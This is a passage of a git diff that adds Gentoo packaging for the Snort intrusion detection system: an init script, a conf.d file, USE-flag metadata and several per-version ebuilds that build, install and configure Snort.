+DIST snort-2.9.7.3.tar.gz 6300073 SHA256 8cc3613b888fc54947a2beec773c76d9a20368f2659b31d45a9f0b11e66cc229 SHA512 949213d44d08c7f70bd45bc4947c9c35bfcd2ca3a54ec8a28d0c03e3868a485d2c208ec7850398f69d706c74fbad1389af445eb1107e678ff95714b5696f27b7 WHIRLPOOL 6d6e2da52f7f141bf6702c8604855ef351c055dbce2805341af16deafa5a0e288266e9632f770e29d209a59cce0d9c17f017bfb612f870dbf5b88c8c0d75e46d
+DIST snort-2.9.7.5.tar.gz 6312847 SHA256 ad03f11b5301b16642199a86aa90388eaa53f5003f83b0c5595745a490047be1 SHA512 fa1b299c72a44a8cb64361e8dab9fad5bfec36bbb05ebed2407002b2c5d97256d7d67599cb1f29406b5ee0916f2f85a173610d403cd34c57f74f7049c10eb038 WHIRLPOOL 6c7270d7edfc552f074fa2fb8ed067a12a48e4e159ceaa4be1f3c877996df5630aa42721aa637a846701072834e167445a67bbfa2deb93933048b1e4f70a8e1b
diff --git a/net-analyzer/snort/files/snort.confd.2 b/net-analyzer/snort/files/snort.confd.2
new file mode 100644
index 000000000000..780c91052d1d
--- /dev/null
+++ b/net-analyzer/snort/files/snort.confd.2
@@ -0,0 +1,16 @@
+# Config file for /etc/init.d/snort
+
+# The following options are now set in your snort.conf file:
+# config set_gid:
+# config set_uid:
+# config snaplen:
+# config bpf_file:
+# config logdir:
+
+# The only options that should be set here are SNORT_IFACE and SNORT_CONF.
+
+# This tell snort which interface to listen on (any for every interface)
+SNORT_IFACE="eth1"
+
+# Probably not this either
+SNORT_CONF="/etc/snort/snort.conf"
diff --git a/net-analyzer/snort/files/snort.rc12 b/net-analyzer/snort/files/snort.rc12
new file mode 100644
index 000000000000..803e1ad48b68
--- /dev/null
+++ b/net-analyzer/snort/files/snort.rc12
@@ -0,0 +1,61 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_commands="checkconfig"
+extra_started_commands="reload"
+
+depend() {
+ need net
+ after mysql
+ after postgresql
+}
+
+checkconfig() {
+ if [ ! -e ${SNORT_CONF} ] ; then
+ eerror "You need a configuration file to run snort"
+ eerror "There is an example config in /etc/snort/snort.conf.distrib"
+ return 1
+ fi
+ if [ ! -d "/var/run/snort" ] ; then
+ checkpath -d /var/run/snort
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting snort"
+ start-stop-daemon --start --quiet --exec /usr/bin/snort \
+ -- --nolock-pidfile --pid-path /var/run/snort -D -i ${SNORT_IFACE} \
+ -c ${SNORT_CONF} >/dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping snort"
+ start-stop-daemon --stop --quiet --pidfile /var/run/snort/snort_${SNORT_IFACE}.pid
+ # Snort needs a few seconds to fully shutdown
+ sleep 15
+ eend $?
+}
+
+reload() {
+
+ local SNORT_PID="`cat /var/run/snort/snort_${SNORT_IFACE}.pid`"
+ local SNORT_USER="`ps -p ${SNORT_PID} --no-headers -o user`"
+
+ if [ ! -f /var/run/snort/snort_${SNORT_IFACE}.pid ]; then
+ eerror "Snort isn't running"
+ return 1
+ elif [ ${SNORT_USER} != root ]; then
+ eerror "Snort must be running as root for reload to work!"
+ return 1
+ else
+ checkconfig || return 1
+ ebegin "Reloading Snort"
+ start-stop-daemon --signal HUP --pidfile /var/run/snort/snort_${SNORT_IFACE}.pid
+ fi
+}
+
+
diff --git a/net-analyzer/snort/metadata.xml b/net-analyzer/snort/metadata.xml
new file mode 100644
index 000000000000..084698b246da
--- /dev/null
+++ b/net-analyzer/snort/metadata.xml
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>patrick@gentoo.org</email>
+ <name>Patrick Lauer</name>
+ <description>Maintainer</description>
+ </maintainer>
+ <maintainer>
+ <email>jason.r.wallace@gmail.com</email>
+ <name>Jason Wallace</name>
+ <description>Proxy maintainer. CC him on bugs</description>
+ </maintainer>
+ <longdescription>
+ Snort is an open source network intrusion prevention and detection
+ system (IDS/IPS) developed by Sourcefire. Combining the benefits of
+ signature, protocol, and anomaly-based inspection, Snort is the most
+ widely deployed IDS/IPS technology worldwide. With millions of downloads
+ and approximately 300,000 registered users, Snort has become the de facto
+ standard for IPS.
+ </longdescription>
+ <upstream>
+ <maintainer>
+ <email>snort-team@sourcefire.com</email>
+ <name>Snort Team</name>
+ </maintainer>
+ <changelog>http://www.snort.org/snort-downloads</changelog>
+ <doc>http://www.snort.org/docs</doc>
+ <bugs-to>http://www.snort.org/snort-downloads/submit-a-bug/</bugs-to>
+ </upstream>
+ <use>
+ <flag name='control-socket'>
+ Enables Snort's control socket.
+ </flag>
+ <flag name='dynamicplugin'>
+ Enable ability to dynamically load preprocessors, detection engine,
+ and rules library. This is required if you want to use shared
+ object (SO) snort rules.
+ </flag>
+ <flag name='file-inspect'>
+ Enables extended file inspection capabilities.
+ </flag>
+ <flag name='gre'>
+ Enable support for inspecting and processing Generic Routing
+ Encapsulation (GRE) packet headders. Only needed if you are
+ monitoring GRE tunnels.
+ </flag>
+ <flag name='high-availability'>
+ Enables high-availability state sharing.
+ </flag>
+ <flag name='inline-init-failopen'>
+ Enables support to allow traffic to pass (fail-open) through
+ inline deployments while snort is starting and not ready to begin
+ inspecting traffic. If this option is not enabled, network
+ traffic will not pass (fail-closed) until snort has fully started
+ and is ready to perform packet inspection.
+ </flag>
+ <flag name='linux-smp-stats'>
+ Enable accurate statistics reporting through /proc on systems with
+ multipule processors.
+ </flag>
+ <flag name='mpls'>
+ Enables support for processing and inspecting Multiprotocol Label
+ Switching MPLS network network traffic. Only needed if you are
+ monitoring an MPLS network.
+ </flag>
+ <flag name='non-ether-decoders'>
+ Enable decoding of non-ethernet protocols such as TokenRing, FDDI,
+ IPX, etc.
+ </flag>
+ <flag name='perfprofiling'>
+ Enables support for preprocessor and rule performance profiling
+ using the perfmonitor preprocessor.
+ </flag>
+ <flag name='ppm'>
+ Enables support for setting per rule or per packet latency limits.
+ Helps protect against introducing network latency with inline
+ deployments.
+ </flag>
+ <flag name='react'>
+ Enables support for the react rule keyword. Supports interception,
+ termination, and redirection of HTTP connections.
+ </flag>
+ <flag name='shared-rep'>
+ Enables the use of shared memory for the Reputation Preprocessor
+ (Only available on Linux systems)
+ </flag>
+ <flag name='side-channel'>
+ Enables Snort's the side channel.
+ </flag>
+ <flag name='sourcefire'>
+ Enables Sourcefire specific build options, which include
+ --enable-perfprofiling and --enable-ppm.
+ </flag>
+ <flag name='targetbased'>
+ Enables support in snort for using a host attibute XML file
+ (attribute_table.dtd). This file needs to be created by the user
+ and should define the IP address, operating system, and services
+ for all hosts on the monitored network. This is cumbersome, but
+ can improve intrusion detection accuracy.
+ </flag>
+ <flag name='reload-error-restart'>
+ Enables support for completely restarting snort if an error is
+ detected durring a reload.
+ </flag>
+ <flag name='zlib'>
+ Enables HTTP inspection of compressed web traffic. Requires
+ dynamicplugin be enabled.
+ </flag>
+ <flag name='active-response'>
+ Enables support for automatically sending TCP resets and ICMP
+ unreachable messages to terminate connections. Used with inline
+ deployments.
+ </flag>
+ <flag name='normalizer'>
+ Enables support for normalizing packets in inline deployments to
+ help minimize the chances of detection evasion.
+ </flag>
+ <flag name='flexresp3'>
+ Enables support for new flexable response preprocessor for enabling
+ connection tearing for inline deployments. Replaces flexresp and
+ flexresp2.
+ </flag>
+ <flag name='paf'>
+ Enables support for Protocol Aware Flushing. This allows Snort to
+ statefully scan a stream and reassemble a complete protocol data
+ unit regardless of segmentation.
+ </flag>
+ <flag name='large-pcap-64bit'>
+ Allows Snort to read pcap files that are larger than 2 GB. ONLY
+ VALID FOR 64bit SYSTEMS!
+ </flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/snort/snort-2.9.4.6-r1.ebuild b/net-analyzer/snort/snort-2.9.4.6-r1.ebuild
new file mode 100644
index 000000000000..4f7967c6220d
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.4.6-r1.ebuild
@@ -0,0 +1,252 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="http://snort.org/downloads/2320 -> ${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +dynamicplugin +zlib +gre +mpls +targetbased
++ppm +perfprofiling +non-ether-decoders control-socket
+shared-rep sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 +paf large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.0
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ zlib? ( sys-libs/zlib )"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="zlib? ( dynamicplugin )
+ !kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop rzb_saac sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable dynamicplugin) \
+ $(use_enable zlib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable paf) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq \
+ --disable-rzb-saac
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ #Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.5.6.ebuild b/net-analyzer/snort/snort-2.9.5.6.ebuild
new file mode 100644
index 000000000000..e3e37f7c3214
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.5.6.ebuild
@@ -0,0 +1,251 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="http://snort.org/downloads/2665 -> ${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +zlib +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket high-availability shared-rep
+side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.1
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ zlib? ( sys-libs/zlib )"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop rzb_saac sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable zlib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
+ --disable-static-daq \
+ --disable-rzb-saac
+}
+
+src_install() {
+
+ emake DESTDIR="${D}" install
+
+ dodir /var/log/snort \
+ /var/run/snort \
+ /etc/snort/rules \
+ /etc/snort/so_rules \
+ /usr/$(get_libdir)/snort_dynamicrules
+
+ # config.log and build.log are needed by Sourcefire
+ # to trouble shoot build problems and bug reports so we are
+ # perserving them incase the user needs upstream support.
+ dodoc RELEASE.NOTES ChangeLog \
+ doc/* \
+ tools/u2boat/README.u2boat
+
+ insinto /etc/snort
+ doins etc/attribute_table.dtd \
+ etc/classification.config \
+ etc/gen-msg.map \
+ etc/reference.config \
+ etc/threshold.conf \
+ etc/unicode.map
+
+ # We use snort.conf.distrib because the config file is complicated
+ # and the one shipped with snort can change drastically between versions.
+ # Users should migrate setting by hand and not with etc-update.
+ newins etc/snort.conf snort.conf.distrib
+
+ # config.log and build.log are needed by Sourcefire
+ # to troubleshoot build problems and bug reports so we are
+ # preserving them incase the user needs upstream support.
+ if [ -f "${WORKDIR}/${PF}/config.log" ]; then
+ dodoc "${WORKDIR}/${PF}/config.log"
+ fi
+ if [ -f "${T}/build.log" ]; then
+ dodoc "${T}/build.log"
+ fi
+
+ insinto /etc/snort/preproc_rules
+ doins preproc_rules/decoder.rules \
+ preproc_rules/preprocessor.rules \
+ preproc_rules/sensitive-data.rules
+
+ fowners -R snort:snort \
+ /var/log/snort \
+ /var/run/snort \
+ /etc/snort
+
+ newinitd "${FILESDIR}/snort.rc12" snort
+ newconfd "${FILESDIR}/snort.confd.2" snort
+
+ # Sourcefire uses Makefiles to install docs causing Bug #297190.
+ # This removes the unwanted doc directory and rogue Makefiles.
+ rm -rf "${D}"usr/share/doc/snort || die "Failed to remove SF doc directories"
+ rm "${D}"usr/share/doc/"${PF}"/Makefile* || die "Failed to remove doc make files"
+
+ # Remove unneeded .la files (Bug #382863)
+ rm "${D}"usr/$(get_libdir)/snort_dynamicengine/libsf_engine.la || die
+ rm "${D}"usr/$(get_libdir)/snort_dynamicpreprocessor/libsf_*_preproc.la || die "Failed to remove libsf_?_preproc.la"
+
+ # Set the correct lib path for dynamicengine, dynamicpreprocessor, and dynamicdetection
+ sed -i -e 's|/usr/local/lib|/usr/'$(get_libdir)'|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct rule location in the config
+ sed -i -e 's|RULE_PATH ../rules|RULE_PATH /etc/snort/rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct preprocessor/decoder rule location in the config
+ sed -i -e 's|PREPROC_RULE_PATH ../preproc_rules|PREPROC_RULE_PATH /etc/snort/preproc_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Enable the preprocessor/decoder rules
+ sed -i -e 's|^# include $PREPROC_RULE_PATH|include $PREPROC_RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^# dynamicdetection directory|dynamicdetection directory|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Just some clean up of trailing /'s in the config
+ sed -i -e 's|snort_dynamicpreprocessor/$|snort_dynamicpreprocessor|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Make it clear in the config where these are...
+ sed -i -e 's|^include classification.config|include /etc/snort/classification.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ sed -i -e 's|^include reference.config|include /etc/snort/reference.config|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable all rule files by default.
+ sed -i -e 's|^include $RULE_PATH|# include $RULE_PATH|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Disable normalizer preprocessor config if normalizer USE flag not set.
+ if ! use normalizer; then
+ sed -i -e 's|^preprocessor normalize|#preprocessor normalize|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ fi
+
+ # Set the configured DAQ to afpacket
+ sed -i -e 's|^# config daq: <type>|config daq: afpacket|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the location of the DAQ modules
+ sed -i -e 's|^# config daq_dir: <dir>|config daq_dir: /usr/'$(get_libdir)'/daq|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the DAQ mode to passive
+ sed -i -e 's|^# config daq_mode: <mode>|config daq_mode: passive|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set snort to run as snort:snort
+ sed -i -e 's|^# config set_gid:|config set_gid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snort/snort-2.9.6.0.ebuild b/net-analyzer/snort/snort-2.9.6.0.ebuild
new file mode 100644
index 000000000000..17833729377f
--- /dev/null
+++ b/net-analyzer/snort/snort-2.9.6.0.ebuild
@@ -0,0 +1,252 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+inherit autotools multilib user
+
+DESCRIPTION="The de facto standard for intrusion detection/prevention"
+HOMEPAGE="http://www.snort.org/"
+SRC_URI="http://snort.org/downloads/2787 -> ${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~ppc64 ~sparc ~x86"
+IUSE="static +zlib +gre +mpls +targetbased +ppm +perfprofiling
++non-ether-decoders control-socket file-inspect high-availability
+shared-rep side-channel sourcefire linux-smp-stats inline-init-failopen
++threads debug +active-response +normalizer reload-error-restart
++react +flexresp3 large-pcap-64bit selinux"
+
+DEPEND=">=net-libs/libpcap-1.3.0
+ >=net-libs/daq-2.0.2
+ >=dev-libs/libpcre-8.33
+ dev-libs/libdnet
+ zlib? ( sys-libs/zlib )"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-snort )"
+
+REQUIRED_USE="!kernel_linux? ( !shared-rep )"
+
+pkg_setup() {
+
+ # pre_inst() is a better place to put this
+ # but we need it here for the 'fowners' statements in src_install()
+ enewgroup snort
+ enewuser snort -1 -1 /dev/null snort
+
+}
+
+src_prepare() {
+
+ # Multilib fix for the sf_engine
+ ebegin "Applying multilib fix"
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-plugins/sf_engine/Makefile.am" \
+ || die "sed for sf_engine failed"
+
+ # Multilib fix for the curent set of dynamic-preprocessors
+ for i in file ftptelnet smtp ssh dns ssl dcerpc2 sdf imap pop rzb_saac sip reputation gtp modbus dnp3; do
+ sed -i -e 's|${exec_prefix}/lib|${exec_prefix}/'$(get_libdir)'|g' \
+ "${WORKDIR}/${P}/src/dynamic-preprocessors/$i/Makefile.am" \
+ || die "sed for $i failed."
+ done
+ eend
+
+ AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable static so-with-static-lib) \
+ $(use_enable zlib) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_enable targetbased) \
+ $(use_enable control-socket) \
+ $(use_enable file-inspect) \
+ $(use_enable high-availability ha) \
+ $(use_enable non-ether-decoders) \
+ $(use_enable shared-rep) \
+ $(use_enable side-channel) \
+ $(use_enable sourcefire) \
+ $(use_enable ppm) \
+ $(use_enable perfprofiling) \
+ $(use_enable linux-smp-stats) \
+ $(use_enable inline-init-failopen) \
+ $(use_enable threads pthread) \
+ $(use_enable debug) \
+ $(use_enable debug debug-msgs) \
+ $(use_enable debug corefiles) \
+ $(use_enable !debug dlclose) \
+ $(use_enable active-response) \
+ $(use_enable normalizer) \
+ $(use_enable reload-error-restart) \
+ $(use_enable react) \
+ $(use_enable flexresp3) \
+ $(use_enable large-pcap-64bit large-pcap) \
+ --enable-reload \
+ --disable-build-dynamic-examples \
+ --disable-profile \
+ --disable-ppm-test \
+ --disable-intel-soft-cpm \
